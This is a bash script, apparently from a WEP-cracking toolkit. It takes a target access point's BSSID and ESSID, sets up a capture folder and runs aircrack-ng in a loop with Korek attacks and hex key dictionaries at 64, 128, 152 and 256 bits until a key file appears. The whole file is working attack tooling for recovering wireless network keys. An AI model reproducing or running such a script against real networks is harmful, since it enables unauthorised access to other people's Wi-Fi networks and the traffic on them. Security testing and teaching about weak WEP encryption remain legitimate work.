#! /usr/bin/env bash

bssid=$1
essid=$2
delay=$3
pause=$4

if [ -z "$bssid" ]
then
	echo Usage: $(basename $0) bssid [essid] [delay] [pause]
	exit
fi

if [ -z "$delay" ]
then
	delay=0
fi

if [ -z "$pause" ]
then
	pause=20
fi

echo $$ >> "$(echo $0 | sed s/\.sh$//).pid"

cd "$(dirname "$0")"
cd ..

./script/dictionary.sh

identifier=$(echo $bssid | tr '[A-Z]' '[a-z]' | tr --delete ':')
if [ -n "$essid" ]
then
	identifier=$identifier-$(echo $essid | tr '[A-Z]' '[a-z]' | tr --complement --delete '[a-z0-9]')
fi

cd capture
mkdir -p $identifier
cd $identifier

sleep $delay

while [ ! -f key.txt ]
do
	source=
	if [ -f capture.ivs ]
	then
		source=capture.ivs
	fi
	if ls -1 ????-??-??-??-??-??-??.cap &> /dev/null
	then
		source="$source $(ls -1 --reverse ????-??-??-??-??-??-??.cap | head --lines 1)"
	fi

	aircrack-ng -K -b $bssid -l key.txt -n 64 -w h:../../database/dictionary-64.txt $source
	aircrack-ng -K -b $bssid -l key.txt -n 128 -w h:../../database/dictionary-128.txt $source
	aircrack-ng -K -b $bssid -l key.txt -n 152 -w h:../../database/dictionary-152.txt $source
	aircrack-ng -K -b $bssid -l key.txt -n 256 -w h:../../database/dictionary-256.txt $source

	sleep $pause
done

